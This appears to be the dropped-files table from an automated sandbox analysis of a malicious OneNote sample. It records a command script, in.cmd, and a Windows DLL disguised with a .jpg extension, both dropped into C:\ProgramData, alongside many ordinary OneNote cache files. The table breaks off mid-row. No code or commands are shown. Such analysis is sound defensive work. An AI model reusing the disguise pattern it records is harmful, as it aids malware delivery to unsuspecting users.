Files
File Path
|
Type
|
Category
|
Malicious
|
|
---|---|---|---|---|
Note.one
|
data
|
initial sample
|
||
C:\ProgramData\in.cmd
|
ASCII text, with CRLF line terminators
|
dropped
|
||
C:\ProgramData\putty.jpg
|
PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\86EA0135-154D-489F-87C7-839AC3EE6B84
|
XML 1.0 document, ASCII text, with CRLF, CR line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Office\16.0\onenote.exe_Rules.xml
|
XML 1.0 document, ASCII text, with very long lines (65536), with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Office\OTele\onenote.exe.db
|
SQLite 3.x database, last written using SQLite version 3023002, writer version 2, read version 2, file counter 2, database
pages 1, cookie 0, schema 0, largest root page 1, unknown 0 encoding, version-valid-for 2
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Office\OTele\onenote.exe.db-journal
|
SQLite Rollback Journal
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Office\OTele\onenote.exe.db-shm
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Office\OTele\onenote.exe.db-wal
|
SQLite Write-Ahead Log, version 3007000
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\Backup\My Notebook\Quick Notes.one (On 07-02-2023).one (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\Backup\My Notebook\~Quick Notes.one.onebackupconstruction
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\Backup\Open Sections\Note.one (On 07-02-2023).one (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\Backup\Open Sections\~Note.one.onebackupconstruction
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000000.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000001.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000002.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000003.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000005.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000007.bin (copy)
|
PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000008.bin (copy)
|
PNG image data, 1692 x 810, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000009.bin (copy)
|
GIF image data, version 89a, 1012 x 327
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000A.bin (copy)
|
ASCII text, with very long lines (376), with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000B.bin (copy)
|
PNG image data, 1692 x 810, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000C.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000D.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000E.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000F.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000G.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000I.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:19:29], progressive, precision 8, 221x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000J.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000K.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000L.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000M.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000N.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000O.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:18:09], progressive, precision 8, 164x641, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000P.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000Q.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000R.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000T.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000U.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000000V.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000010.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000011.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000012.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000013.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000014.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000015.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000017.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000018.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000019.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001A.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001B.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001C.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001D.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001E.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001F.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001G.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001H.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001I.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001J.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001K.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001L.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001M.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001N.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001O.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001P.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001Q.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001R.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001S.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001T.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:06:24], progressive, precision 8, 38x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001U.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000001V.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000020.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000021.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000022.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000023.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000024.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000025.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000026.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000027.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000028.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000029.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002A.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002B.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002C.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 814x105, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002D.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002E.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 728x77, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002F.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002G.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 69x630, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002H.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002I.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 105x441,
components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002J.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 76x97, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002K.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002L.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 95x498, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002M.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 700x114, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002N.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002O.bin (copy)
|
PNG image data, 813 x 99, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002P.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002Q.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 780x107,
components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002R.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002S.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 613x144, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002T.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002U.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 276x139,
components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000002V.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000030.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 814x45, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000031.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000032.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 262x277,
components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000033.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000034.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 70x626, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000035.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000036.bin (copy)
|
PNG image data, 177 x 123, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000037.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000038.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 17x608, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000039.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003A.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 357x69, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003B.bin (copy)
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 14x341, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003C.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003D.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:15:20], progressive, precision 8, 604x784, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003E.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003F.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:13:06], progressive, precision 8, 570x779, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003G.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003H.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003I.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003J.bin (copy)
|
PNG image data, 40 x 623, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003K.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003L.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003M.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003N.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:10:32], progressive, precision 8, 594x773, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003O.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003P.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:12:29], progressive, precision 8, 598x766, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003Q.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003R.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:19:29], progressive, precision 8, 221x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003S.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003T.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003U.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000003V.bin (copy)
|
PNG image data, 60 x 336, 4-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000040.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000041.bin (copy)
|
PNG image data, 40 x 617, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000042.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000043.bin (copy)
|
PNG image data, 50 x 600, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000044.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000045.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000046.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000047.bin (copy)
|
PNG image data, 77 x 627, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000048.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000049.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004A.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004B.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004C.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004D.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004E.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004F.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:05:55], progressive, precision 8, 612x618, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004G.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004H.bin (copy)
|
PNG image data, 176 x 513, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004I.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004J.bin (copy)
|
PNG image data, 40 x 650, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004K.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004L.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:27:10], progressive, precision 8, 102x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004M.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004N.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:18:09], progressive, precision 8, 164x641, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004O.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004P.bin (copy)
|
PNG image data, 50 x 556, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004Q.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004R.bin (copy)
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004S.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004T.bin (copy)
|
PNG image data, 171 x 552, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004U.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\0000004V.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:11:38], progressive, precision 8, 577x757, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000051.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:26:15], progressive, precision 8, 216x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000052.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000053.bin (copy)
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:09:29], progressive, precision 8, 609x675, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000054.bin (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\00000055.bin (copy)
|
